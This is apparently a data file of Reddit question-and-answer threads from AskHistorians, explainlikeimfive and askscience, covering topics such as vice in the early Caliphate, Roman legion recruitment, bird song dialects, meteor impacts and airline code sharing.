{"q_id": "682fn6", "title": "I'm a hot blooded young Arab man of the early Rashidun Caliphate hitting the streets of Medina for a night out with my mates and I've got dirham burning a hole in my purse. What kind of vice and wanton pleasures are still available to me?", "selftext": "Was there a glitzy underworld to be found like in the USA during prohibition?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/682fn6/im_a_hot_blooded_young_arab_man_of_the_early/", "answers": {"a_id": ["dgv6mqt", "dgvcy8z"], "score": [1022, 175], "text": ["There certainly did exist an Islamic underworld which offered access to forbidden fruits, though few if any of our sources for it date to this early in the Muslim period. If we move a couple of hundred years later, however, we can begin to find references to a company of rogues and criminals known as the Banu Sasan in a scattering of Islamic texts from *maqamat* ~~(popular)~~ literature. \n\nOne of the best known was Abu Dulaf al-Khazraji, a self-proclaimed king of vagabonds more often noted as the author of a text apparently describing a 10th century Samanid embassy to China, who secured a tenuous position among the entourage of a vizier of Isfahan, Ibn Abbad, by telling sordid, titillating, tales of the underworld.\n\n\u201cI am of the company of beggar lords,\u201d Abu Dulaf boasts in one account,\n\n > The cofraternity of the outstanding ones,\n\n > One of the Banu Sasan\u2026\n\n > And the sweetest way of life we have experienced \n\n > Is one spent in sexual indulgence and wine drinking.\n\n > For we are the lads, the only lads who really matter, on land and sea.\n\nOf course, that reads better in the original Persian...\n\nOur sources are united in suggesting that a large proportion of the Banu Sasan were Kurds, a people seen by other Middle Eastern peoples as brigands and predators. They also show that the criminal slang they employed drew on a wide variety of languages. Much of it has its origins in what Johann F\u00fcck has termed \u201cMiddle Arabic,\u201d but the remainder seems to be derived from everything from Byzantine Greek to Persian, Hebrew and Syriac.\n\nUltimately, however, what strikes one most about the Banu Sasan is their remarkable inclusiveness. At one extreme lie the men of violence; ar-Raghib al-Isfahani lists five separate categories of thug, from the housebreaker to out-and-out killers such as the *sahib ba\u2019j*, the \u201cdisemboweler and ripper-open of bellies,\u201d and the *sahib radkh*, the \u201ccrusher and pounder\u201d who accompanies lone travellers on their journeys and then, when his victim has prostrated himself in prayer, \u201ccreeps up and hits him simultaneously over the head with two smooth stones.\u201d But at the other lie the poets, among them the mysterious Al-Ukbari\u2014of whom we are told little more than that he was \u201cthe poet of rogues, their elegant exponent and the wittiest of them all.\u201d\n\nSadly, from the point of view of this query, the majority of the literature dealing with the Banu Sasen (most importantly the *Kashf al-asrar*, an obscure work by the Syrian writer Jaubari that dates to around 1235, and translates as *Unveiling of Secrets*) is fairly practical, and is devoted to setting out the various (often quite remarkable) crimes they committed, so that the reader could avoid being rooked by them \u2013 not to the details of their debauches. If this sort of thing is of any interest, I wrote about it in considerable detail (with more sources), [here](_URL_0_).", "Ok, two things first: To answer this I fear I have to cheat a little and extent the time period that you\u2019re asking about by a few decades into the time of the Umayyad Caliphate. I think we simply don\u2019t really have enough information about the earliest times of the Caliphate under the rule of the Rashidun to paint a lively picture. This also moves the geographical area away from Medina and the Hejaz to the north into the steppes of Greater Syria from where the Umayyad clan ruled their continent spanning empire.\n\nSecond, I think I may have a bit of a surprise for you when it comes to the attitudes people in the early Caliphate had towards the drinking of whine and debauchery as a hole. When modern people, muslim and non muslim alike, think about the early times of the Caliphate they normally imagine a society that is tightly regulated by the norms of the Sharia. However although those norms certainly are based on guidelines that were already laid down in the times of the Prophet and the Rashidun Caliphs they weren\u2019t really codified into law yet so to speak. Back then the formative years of islamic law that saw the establishment of the great law schools of the Hanfis, Malikis, Shafi\u2019i`s and Hanbalis lay still in the future. That means when it came to the question whether it was allowed to drink alcohol or not all that early Muslims had to guide them were the verses of the Quran and the remembered attitudes of Mohammed. And those could be quite contradictory. Some verses are quite clear in their condemnation of alcohol:\n\n >  O ye who believe! Strong drink and games of chance and idols and divining arrows are only an infamy of Satan's handiwork. Leave it aside in order that ye may succeed. (5,90)\n\nBut then another verse has this to say:\n\n >  O ye who believe! Draw not near unto prayer when ye are drunken, till ye know that which ye utter, nor when ye are polluted, save when journeying upon the road, till ye have bathed. (4,43)\n\nHere it seems that drunkenness isn\u2019t totally forbidden or it wouldn\u2019t be necessary to clarify that you can\u2019t be drunken when you want to pray. Another verse even seems to praise the drinking of wine:\n\n >  And of the fruits of the date-palm, and grapes, whence ye derive strong drink and (also) good nourishment. Lo! therein is indeed a portent for people who have sense. (6,67)\n\nNow as I said, in later times those contradictory comments would be translated into a more (although still not totally) coherent set of laws by the great islamic law schools. But we would be wise not to project those later attitudes on earlier times. So while the drinking of alcohol was certainly frowned upon by more rigorous characters it wasn\u2019t necessarily forbidden in Umayyad times.\n\nWith that out of the way we can turn to the Umayyads themselves. They were the family that monopolized the office of the Caliphate for themselves from the end of the Rashidun until they were overthrown by a rival dynasty, the Abbasids, in 750 AD. Under their rule the center of the Caliphate shifted from the Hejaz to Syria in the north where they already had been able to build a strong power base. Here they developed a sophisticated court culture that mixed elements from pre islamic Arabia with those from the Late Antique Roman and Persian Empires which they had recently conquered. The most striking witnesses to this new elite culture were the so called \u2018desert palaces\u2019 which the members of the Umayyad aristocracy build in the steppes of Greater Syria. Their still impressive ruins can today be visited in the modern states of Syria, Libanon, Jordan and the Palestinian territories.\n\nOne example from Jordan would be small palace of Qusayr Amra in modern Jordan. It is relatively [modest in size](_URL_0_) but contains a really marvelous set of frescoes. The main building seems to combine the function of throne room and bath house. In it we find scenes that are familiar from Late Roman and Persian court culture like [hunting scenes](_URL_1_) or a ruler on his throne. And as is fitting for a bath house we also see quite a few [nude figures](_URL_3_), most of them [women](_URL_4_). Similar depictions are known from other desert castles like [this](_URL_2_) stucco statue from Khirbat al Mafjar in Palestine. It\u2019s probably safe to assume that they\u2019re more or less representative of the real debauchery that could be found in those aristocratic palaces. \n\nLiterary sources that tell about the Umayyads often seem to confirm this picture. In his book *Walid and his friends. An Umayyad Tragedy* (1988) Robert Hamilton relates a story from the *Khitab al Aghani* (book of songs) from the 10th century about the poet Abu Harun Utarrad who is invited to the palace of Caliph Al Walid II. He is summoned to the bath house where the ruler awaits him sitting at the edge of a bathtub filled with wine. The Caliph listens to the poet\u2019s songs and afterward he strips off his precious garment, climbs into the tub and doesn\u2019t come out of it until the level of wine is lowered significantly. After leaving the tub he immediately passes out so that the poet is able to steal away with the Caliph\u2019s garment. The same scene repeats at the next evening but at the third day the poet is instead summoned to the throne room. Al Walid tells him that he can leave the palace and go his merry way but only under the condition that he will never tell anybody what he has witnessed here. Luckily for the poet only a few years later the Umayyad dynasty would be overthrown by the Abbasids so that he could freely talk about his experience.\n\nNow stories like this should certainly be taken with more than a grain of salt. After all it was probably quite fashionable to discredit the Umayyads for their sinful lifestyle after the dynasty had lost power and their adversaries had taken control over the Caliphate. But the sumptuous decoration of the Desert Castles strongly implies that they were at least partially based in truth. And not all members of the Umayyad family seem to have been as fond of wine as Al Walid may have been, who earned a reputation as an almost legendary drunkard. His uncle and predecessor Hisham reportedly abstained from drinking wine at all and even scolded his nephew for his debauchery. But then again Hisham himself was also quite famously fond of women and music. \n\nSo we can certainly say that for a member of the Arab elite there were quite a few avenues for vice and wanton pleasure to be had in early islamic times. But they weren\u2019t at all restricted to a glitzy underworld but an integral feature of the court culture of the time. And although I\u2019m not at all an expert on the later islamic Middle Ages I know of a few depictions of later muslim rulers drinking wine that seem to strongly suggest that the Umayyads weren\u2019t the last ones to live this kind of life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://mikedashhistory.com/2013/07/22/islams-medieval-underworld/"], ["http://i.imgur.com/Yv4Zht7.jpg", "http://i.imgur.com/ozDcK1M.jpg", "https://upload.wikimedia.org/wikipedia/commons/3/36/Hisham%27s_Palace_%28Khirbat_al_Mafjar%29_remains_at_the_Rockefeller_Museum_IMG_7181.JPG", "http://i.imgur.com/a2ZXDDL.jpg", "http://i.imgur.com/C5Wjq63.jpg"]]}
{"q_id": "2tax4l", "title": "where do sites like intelius get their information? they say it is from public record, how come i can't find these public records myself?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2tax4l/eli5where_do_sites_like_intelius_get_their/", "answers": {"a_id": ["cnxbcxc", "cnxbinv"], "score": [3, 2], "text": ["Some of the public records aren't online.  It's information that is legally available to the public *if* you know where to look and what to ask for. ", "A lot of times you can find the public records yourself, but you have to know where to look. Go onto a county court's website that has electronic access to cases and start looking away for information in random cases. County appraisal districts also record a lot of information you find on Intelius, such as the name of anyone who buys a piece of property.\n\nSome of the information may also have been a public record at one point, but has since been removed, but not before Intelius saved it.\n\nSome may also require public information requests to get access to. The procedure varies slightly depending on whom you're requesting information from, but usually you just write a letter like \"give me all the records for everyone who lives in Springfield.\" A lot of times you can't get personal information this way, but it depends on the jurisdiction and information requested."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7htdsd", "title": "why do certain sounds \u2018go through\u2019 us?", "selftext": "Why do sounds like a knife on a plate go through some people and not others, and why do sounds go through us in the first place?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7htdsd/eli5_why_do_certain_sounds_go_through_us/", "answers": {"a_id": ["dqtyk60", "dqu08av"], "score": [2, 5], "text": ["I\u2019m confused what you mean by through.\nSound travels as a wave through a media: solids, liquids, and gases. The sound will also disperse as the wave decays. I know surprisingly more than I thought but I\u2019m not sure how to direct it...", "This is physiology, not physics. Those sounds you mention have a similar spectrum to baby's cries, and our brains and ears have evolved to be tuned to those sounds and to produce a response. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8sdg4k", "title": "what does it mean that income is distributed log-normally?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8sdg4k/eli5_what_does_it_mean_that_income_is_distributed/", "answers": {"a_id": ["e0yj74h", "e0yrhdk", "e0z34ol"], "score": [6, 3, 3], "text": ["A distribution is a mathematical way of describing how individual results of a random process are realized. \n\nThe log-normal distribution is a particular type where most of the results will be at the far left end of the support (the span over which the distribution exists) with a very long right tail (a few observations with very high values).\n\nThis distribution tends to match the profile of incomes, where many people center around relatively low values with a long right tail with few observations.", "An exponentially small fraction of people are exponentially richer than you. On average.  Similarly, an exponentially large number of people are exponentially poorer than you are.", "Say you are 5'10\" and that is average height in the population, whose heights are distributed normally (i.e. According to the bell curve you may have seen/heard about). This would mean there are the same number of people three inches taller, and also three inches shorter than you. Fewer people would be six inches taller, but the same amount as are six inches shorter.\n\nWith log-normal, instead of adding or subtracting, you are multiplying or dividing. Say you make $50,000 a year and that is the mean. The same number would make twice as much, $100,000 as would make half as much, $25,000. Fewer would make four times as much, $200,000, but the same number as who made one-fourth as much, $12,500."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "d7znhx", "title": "How was the process of assembling a legion?", "selftext": "The senate approved to assemble one legion.  Who were the responsibles for such a task? Who were the smiths who build their armors and weapons? How many time they took to do it?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d7znhx/how_was_the_process_of_assembling_a_legion/", "answers": {"a_id": ["f1ng6q4"], "score": [4], "text": ["Hi, Hopefully this will help and not be unclear due to language barriers, English is not the language i usually work in.\n\nThe armies raised by the senate spans a rather large period, but for this case I assume that you mean the republican era, pre marian reform (107 BCE) and post the Manipular legion. The legion of this period is generally known as the Polybian era. And this is the army most often portrayed in Videogames (Total War etc.) and the one who fought the Punic wars against Carthage. Polybius is our main written source material and his series *Histories* are a goldmine for Roman arms and their organisation during the period. Livy is also very useful. As always the ancient authors should be handled carefully and it is always good to approach them with a critical mind.\n\nThe information that you are looking for is in Polybius *Histories 6 chapter V*  &  *VI.* Chapter 5 deals with the roman constitution and nr 6 with the roman army and arms. If you need details these are easy to find on your preferred search engine. But I will summarise to answer your questions in short.\n\n**Who were responsible for the tasks?**\n\nThe Responsibility for assembly of the legions was the Consuls. The Romans appointed Two Consuls per year, and they carried almost absolute power for their terms. Only the Tribunes were exempt. They chose officers for the army and commanded it in the field.  \nSee. *Polybius Ch 5 Section 12*\n\nA Consul during normal circumstances led two legions (16-20.000 Infantry and 1.5-2500 Cavalry). Circa half of the legion was composed of roman citizens and half consisted of allied troops. After being picked by the senate the Consuls also appointed 25 military tribunes and they in turn were assigned to the legions in pairs. The tribunes for each legion then picked the men they wanted for service and also appointed officers for them.  \nSee. Polybius Ch 6 and *Greece  &  Rome at War, Peter connolly 2006 p. 129.*\n\n**Who forged and provided the equipment?**\n\nThe Equipment used by the troops during the Republican era was bought by the soldier for his own money, and followed certain guidelines. For example the Hastati (First line infantry, Lightest armed and Youngest in the heavy infantry) should have: Sword, 2 Pila, Helmet, Scutum, Greaves and a plate on the chest called Pectorale. If the man has a rated income above 10.000 Drachma the Pectorale will be exchanged for a chainmail (Hamata).  \nSee. *Polybius CH 6 Section 22  &  23*\n\nOn the production little is written and the finds of arms from the period are not many. I have not found anything tangible in my sources for the Republic era (Polybius, Goldsworthy or Connoly). The weapons and armor is probably made locally and to the specifications of the buyer.\n\nThere is a lot of material to read and good pictures if you need an idea of the equipment the soldiers used during the period. The Polybian legion in a standard search should land quite a few hits.\n\n**On the Question of time for preparation:**\n\nThe arms were owned by the soldier and part of his household. So the army during this period did not give arms form stockpiles or workshops to the troops. The soldiers were as part of their duty to the state be ready to defend it. Thus troops could potentially be mustered from the entire pool of available manpower at a specific time (determined by the census performed to ascertain a man's wealth and place him in the classis system determining his place in the army).\n\nDuring the Punic wars as Hannibal Barca entered the po valley rome had forces penned in at Placentia and Cremona, During the winter of 218-219 BCE (after the battle of the Trebbia). The Consuls for the year raised new troops in response to this defeat and had two new armies ready att Rimini for the consuls in Early spring. Thus two to four months is for this case the time it took for the roman state to deploy an army from scratch from Latium to the Southwestern Po valley.  \nSee. *G & R At War* Connoly p.171-172, Livy, *Periochae* 21-25\n\n\\*\\*Abbreviations:\\*\\*BTE: Before Common Era (Alternative to BC)\n\n**Litterature:**\n\nConnoly Peter, *Greece  &  Rome at War (2006)*\n\nGoldsworthy Adrian *The, Complete Roman Army (2004)*\n\n**Primary** **Sources:**\n\nLivy, *Periochae* 21-25\n\nPolybius, *Histories Book VI*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fdxw8x", "title": "Do bird calls and songs change similar to how our language changes through time?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fdxw8x/do_bird_calls_and_songs_change_similar_to_how_our/", "answers": {"a_id": ["fjn1efa"], "score": [9], "text": ["The short answer is yes!\n\nBirds make many types of calls, including songs. Experiments of hand-raising chicks in isolation have taught us that some of these calls/songs are an innate behavior, meaning the bird does them by instinct without having ever heard another bird produce these sounds. However, these sounds are different than if the chicks had been raised by an adult bird.\n\nIn fact, it's well-known that chicks learn from their parents and other birds in their social network. There are even local dialects and bilingual birds! Great Tits and Japanese Tits usually have unique songs. But there is an overlap of their ranges in east Russia, where some birds sing in both dialects.\n\nSo we know that birds can learn songs and sing differently according to region, making it very likely that song can also change over time, much like human language does. This is called \"cultural evolution\". Evolutionary studies between similar species support this idea: You can make a family tree of similar species by comparing the difference in their songs, and this family tree fits to all the other information we have about DNA changes, geographic distribution, etc.\n\nMy source for this post is this excellent book chapter that explains everything in much more detail: [Song: The Learned Language of Three Major Bird Clades](_URL_0_)\n\nFull citation: P\u00e4ckert, Martin. \"Song: the learned language of three major bird clades.\" *Bird Species*. Springer, Cham, 2018. 75-94."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://link.springer.com/chapter/10.1007/978-3-319-91689-7_5"]]}
{"q_id": "1gs27a", "title": "If the human body relies on electricity in order to function, is there a possiblity of there ever being a short circuit?", "selftext": "Where is the power source for the electricity? Is is the brain? Is it the cells themselves, do they act like countless little batteries connected in parallel?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1gs27a/if_the_human_body_relies_on_electricity_in_order/", "answers": {"a_id": ["can9rhh", "cana3d5", "canbaxn"], "score": [11, 2, 4], "text": ["Per Wikipedia: \n >  A short circuit...is an electrical circuit that allows a current to travel along an unintended path, often where essentially no (or a very low) electrical impedance is encountered.\n\nAs other users have pointed out, the body does not use the same mechanisms to create a current that electronics use. While it is true that current comes about from the movement of charges particles (classically, the movement of electrons; though, the reality is the opposite case), neurons, neuron fibers, and muscle fibers do not \"push\" these charged particles from one end to the another. The charged particles accomplishing this task in the body are, of course, ions; mainly Potassium, Sodium, Chloride, and Calcium ions. \n\nThe mechanism of current production can get a bit messy in neurons and cells, but the TL;DR of the process is that a current is generated in these cells when there is a net movement of ions *perpendicular, across the cell membrane* that pushes the cell to a certain threshold voltage (either towards the positive or the negative...if you want more detail on this, please ask). This change in what is termed \"membrane potential\" happens locally in a single given spot and, if strong enough, can induce a change in membrane potential in a consecutive spot. The change in potential propagates down the cell (an event that is termed as the propagation of the Action Potential) and eventually reaches the end of it (in the case of the neuron, the change in potential propagates down the axon, and reaches the synapse, where a signal is sent to another neuron/muscle). Herein lies the difference between the \"electric\" cells of the body and the electronic components of a computer. In the body, current flow is generated by moving ions *perpendicularly* across cell membranes; whereas in wires, current is generated by pushing  electrons in a *parallel* fashion from one end to the other.\n\nWith that in mind, to answer your question: can we ever \"short circuit\" an \"electrical\" body circuit? No, you can't; at least not using the classical definition of a short circuit. There are many things that can go wrong with the electrical processes in the body, but they aren't like short circuits in which a path of no resistance blows the circuit. The processes that govern neuron and muscle action are very intriguing, I suggest you look into them and find a good diagram like [this](_URL_0_).\n\nIf you want more information, please ask. I find this all very fascinating. There are also a few cases where there is current flow directly from one cell to another; in such cases, one could say the cells' electrical properties are similar to that of a wire, but only for a very, very short distance and time.\n\nEdit: I completely forgot your other question! I apologize.\n\nWhere is the power source? Simplified answer: everywhere. The energy the cells use to create these action potentials is generally stored in the change in voltage that occurs across the cell membrane. The voltage change induces a shape change in membrane proteins that open or close to let the ions in or out of the cell. When they open or close, this further changes the voltage which can open even more channels to let even more ions in/out. It's a wicked cool positive feedback loop.", "Where does the electric current in the body start?", "Actually, there is at least one medical condition that does meet the definition of a short circuit: Wolf-Parkinson-White.  It's the result of the derangement of the normal electrophysiology of the heart.\n\nNormally in the electrical depolarization of the heart, an electrical impulse is generated in the sinoatrial node, travels across the atria, and pauses for a brief time (usually less than 0.12 seconds) at the atrioventricular (AV) node before reaching the ventricles (the big muscles at the bottom of the heart that do most of the pumping).  The AV node acts as a gateway for electrical impulses coming from above, limiting the number of electrical depolarizations reaching the ventricles, preserving cardiac output.  \n\nIn Wolf-Parkinson-White, an accessory pathway exists (the bundle of Kent) that allows impulses to bypass the AV node and conduct directly to the ventricles.  If these individuals experience an atrial tachycardia like SVT or atrial fibrillation, it can be life threatening as the ventricles begin beating so fast that they no longer pump an adequate amount of blood to supply the body's need."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://3.bp.blogspot.com/-6I0mlTpyZHU/URreQS1DKmI/AAAAAAAACrQ/oVzF8OD9hhw/s1600/action_potential_axon.JPG"], [], []]}
{"q_id": "1au1cn", "title": "Eugenics and the Harlem Renaissance? ", "selftext": "I'm writing a research paper on the connections/contradictions between Eugenics and the Harlem Renaissance. Basically my thesis states that the Harlem Renaissance and the emergence of black artists, poets and musicians were a major factor in the United States not fully accepting Eugenics culturally. I have plenty of sources for both Eugenics and the Harlem Renaissance, but none for actual *connections between them*. Although I'm fully capable of finishing the paper with the sources I have (since the point of a paper is to draw my own conclusions from facts anyway), I'd hate to miss out on any good information that may be out there, but as it stands that information is so specific its very difficult to find using search engines and libraries. \n\n\nIf any of you have any information or know where I can find any it would be much appreciated. Primary sources in particular would be gold. Thanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1au1cn/eugenics_and_the_harlem_renaissance/", "answers": {"a_id": ["c90r7ye", "c90u8v8"], "score": [3, 5], "text": ["FWIW; it might be worth skimming [*Building a Healthy Black Harlem: Health Politics in Harlem, New York, from the Jazz Age to the Great Depression*](_URL_0_), Jamie Jaywann Wilson (2009) - there's only a single reference to a 1924 eugenics paper in Chapter 4, but the general contents might throw new light on your thesis and there's a decent looking bibliography.   \n  \n*Had* the US adopted the Canadian eugenics policies and enforced sterilization act, there's little doubt they would have been all over Harlem; these [quotes from McBride and Page in *Our Own Master Race*](_URL_1_) (Canadian Social History Series) sum up their core views on \"slum dwellers\" and those they viewed as \"feeble minded\".   ", "[Have you checked out this book?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com/books?id=r8RNjCZL0AEC", "http://books.google.ca/books?id=1eUnAAAAYAAJ&q=slum#search_anchor"], ["http://www.amazon.com/Unnatural-Selections-Eugenics-Modernism-Renaissance/dp/0807855316/ref=wl_it_dp_o_pC_S_nC?ie=UTF8&colid=G27TU40WLY5C&coliid=I15D8DQKCMVUBH"]]}
{"q_id": "9muxmw", "title": "how does one small meteor like say the size of two football fields cause such concern to scientists? shouldn\u2019t catastrophic earth destroying meteors be the size of countries?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9muxmw/eli5_how_does_one_small_meteor_like_say_the_size/", "answers": {"a_id": ["e7hj5za", "e7hj7f1", "e7hjepz", "e7hjjp6", "e7hjqix", "e7hkmxp", "e7hlf85"], "score": [3, 8, 2, 3, 14, 2, 4], "text": ["Force = mass \u00d7 acceleration so something small moving very fast can hit with more force than something larger moving slow. A small meteor might not end the world but it could very well end a country or a large portion of one. The other problem with then is that we often dont know they are close until it would be far too late to do anything about. ", "You\u2019re underestimating the role that speed plays in the equation. A bullet is pretty benign to a person until you put the force of a gunshot behind it", "Force equals mass times acceleration. The super fast speed (or deceleration as it hits the earth) of a meteor makes up for it not necessarily being extremely large and still having devastating effects. \nAnother factor is covering the whole world it just a thin layer of dust can really mess with the climate. ", "It\u2019s the speed and then once you convert all that kinetic energy into heat energy you get a very big explosion and shock wave. \n\nThe real concern with a planet killer though is that it will likely superheat the air, boil off a large part of the ocean, cause massive tsunamis and earthquakes and what the shockwave and heat and flooding doesn\u2019t kill the massive amounts of debris in the air will either choke off the survivors.  The debris will block enough light that most vegetation dies off and then the animals starve and viola.  ", "The kinetic energy of an object can be though of as (1/2)*m*(v^2) where m is mass and v is speed. As a meteor starts falling towards Earth it speeds up a lot and has a lot of kinetic energy. This Kinect energy is what causes problems upon impact.\n\nThere is a sci-fi weapon that IIRC is called \"rod from God\" that hinges upon this. A satellite would have a bunch of steel rods that are just a few meters long. Dropping one from space would have a similar impact as a tactical nuke.\n\nThe real importance of size is wether or not an object is big enough to not burn up in the atmosphere. Shooting stars are asteroids/space stuff burning up as it enters the atmosphere. If an asteroid was big enough to touch down it's going to damage the area. Most astroid fragments that touch down however are small.", "Its not just the impact itself thats the problem, its also all the debit it will kick up, covering the earth and blocking out sunlight.  That could cause crop extinction if it lasts a long enough, and pollute the air we breathe.  Also if it hits hard enough that may trigger a chain of volcanic eruptions that could be devastating as well.", "A quick calculation shows that an iron meteor with a diameter of 200m and a speed of 20km/s has the equivalent energy greater than a 1000 megaton nuclear bomb.  \n\nYou don't want that anywhere near you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "x188z", "title": "Why do we imagine what someone looks like when we hear their voices, and what's going on when we do?", "selftext": "It seems to be a common trait among humans to imagine what some people look like when we hear their voice before we've seen what they look like. What's going on when this happens?\n\nI personally tend to imagine the person as better looking than I think they are when I see what they really look like. I also tend to do it only for voices I hear a lot (podcasts, radio, etc). I'm not sure everyone has the same experience, but I mention these anecdotes as part of asking why and how our brains pull faces out of seemingly thing air. \n\nEdit: as a related thought, I wonder if we would do the same thing if we frequently heard a voice in a language we couldn't understand. In other words, do language cues determine how we make up this imagined face. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/x188z/why_do_we_imagine_what_someone_looks_like_when_we/", "answers": {"a_id": ["c5ibu91", "c5ifq2r"], "score": [16, 6], "text": ["It appears that the voice-recognition areas (superior temporal sulcus) are structurally linked to the face-identifying areas (fusiform gyrus) in the brain.\n\n > We localized, at the individual subject level, three voice-sensitive areas in anterior, middle, and posterior superior temporal sulcus (STS) and face-sensitive areas in the fusiform gyrus [fusiform face area (FFA)]. Using probabilistic tractography, we show evidence that the FFA is structurally connected with voice-sensitive areas in STS. In particular, our results suggest that the FFA is more strongly connected to middle and anterior than to posterior areas of the voice-sensitive STS. This specific structural connectivity pattern indicates that direct links between face- and voice-recognition areas could be used to optimize human person recognition.\n\n[Link](_URL_0_)", "This comment may get deleted because it does not exactly fall under the requirements of r/AskScience. However, I think it could be considered applicable because it brings up an aspect of your question which you may not already realize:\n\nYou may be assigning a face to a voice based on another person you have seen, that has a similar voice as the one on the radio. For years I did this without realizing it.\n\nI believe that the reason I didn't realize this sooner is because the faces that I assigned were faces that I barely consciously realized I was familiar with, and had seen years in the past.\n\nFor instance, for years I assumed [Kai Ryssdal](_URL_0_) of NPR's \"Marketplace\" looked like journalist [Joe Levy](_URL_1_).\n\nThey obviously look nothing alike, however they have quite similar voices IMO. What is strange about this is I was not really familiar with Joe Levy. As far as I know I used to see him occasionally on MTV over a decade ago. But apparently that was enough to remember his voice and link it with a face.\n\nTheir voices are not exactly alike, but they are close. Here is an example of [Joe Levy's voice](_URL_3_) and an example of [Kai Ryssdal's](_URL_2_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.jneurosci.org/content/31/36/12906.full"], ["http://www.marketplace.org/sites/marketplace.org/files/styles/person-bio-image-300x450/public/165_1c.jpg", "http://1.bp.blogspot.com/_ZZ-CqtHjAnk/Sw3iS2amjsI/AAAAAAABqO8/RaVHxMrO2ss/s1600/Joe+Levy.jpg", "http://www.youtube.com/watch?v=wXR6LRZk_8Y", "http://www.youtube.com/watch?feature=player_detailpage&v=14egcngmix0#t=10s"]]}
{"q_id": "1neeot", "title": "Are spider's individual eyes independent of one-another?", "selftext": "Or are all 8 synced together? Or in pairs?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1neeot/are_spiders_individual_eyes_independent_of/", "answers": {"a_id": ["cci1dsz"], "score": [5], "text": ["They work in pairs, but each pair can function pretty differently from the others. See [this](_URL_0_) and for something more technical [this](_URL_1_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://australianmuseum.net.au/How-spiders-see-the-world", "http://jeb.biologists.org/content/201/2/221.full.pdf"]]}
{"q_id": "6hxm67", "title": "what is vanity sizing in clothing?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6hxm67/eli5_what_is_vanity_sizing_in_clothing/", "answers": {"a_id": ["dj1xc2y"], "score": [5], "text": ["In fashion, womens' fashions in particular, people want to believe they are thinner than they actually are, and if you get north of a size 6, which is still quit thin, you are often looked down upon for being too fat.  Some designers don't even make their clothes in the higher sizes.\n\nTo make consumers feel better and buy more, some brands cheat a little bit on the size, so what is labelled as a size 6 is closer to a size 8.  Other brands, to maintain more exclusivity and to ensure only the thinnest people wear their clothes, cheat the other direction, so a size 6 is more of a size 4.\n\n >  How do I properly size clothes online that aren't in vanity sizing?\n\n* measure yourself and go by inches rather than size\n* check the return policy...a retailer with more friendly online return policy is going to be more confident in their sizing\n* be honest with yourself...vanity sizing works because people want to insist they are a smaller size than the actually are\n* shop brands with a strong online presence, and be extra careful going through a reseller or a department store that is just carrying the brand\n* read reviews...sizing is one of the first topics people will mention\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2wdm5f", "title": "how come reddit doesn't have a follow option like instagram or twitter?", "selftext": "Let's say there's someone that makes funny comments or upvotes interesting posts. How come there's no news feed on Reddit that alerts you when people you follow comment on, upvote, or submit posts like on Instagram and Twitter?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wdm5f/eli5_how_come_reddit_doesnt_have_a_follow_option/", "answers": {"a_id": ["copv839"], "score": [2], "text": ["If you have RES you can follow/friend/ignore people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8pcehq", "title": "why do airplane flights have different flight numbers with different airlines when it is the same flight?", "selftext": "\nFor example, Delta flight 1915 is the same as WestJet flight 7419, but it is operated on a delta plane ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8pcehq/eli5_why_do_airplane_flights_have_different/", "answers": {"a_id": ["e0a4762", "e0a48oi"], "score": [3, 2], "text": ["It's called code sharing I believe. In airline partnerships like star alliance (United, Lufthansa, Air Canada, etc.), every carrier can sell seats on every other carrier's flights, so you don't have to book, for example, one leg of your trip on United's website and another leg on Lufthansa's website. In order to do this, United needs to have a flight number for the Lufthansa flight they want to offer.", "It is called code sharing.\n\nWestJet doesn't fly to Atlanta, and Delta doesn't fly from Saskatoon.  Still, WestJet is going to be happy to sell you a ticket.  They have an agreement with Delta and their booking systems are integrated, so a WestJet customer flies to Toronto and is automatically put on a Delta flight to Atlanta, and the airlines split the airfare.\n\nThe use different flight numbers because even though you are on a Delta flight, if you booked through WestJet, you are earning WestJet miles and following WestJet baggage policy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
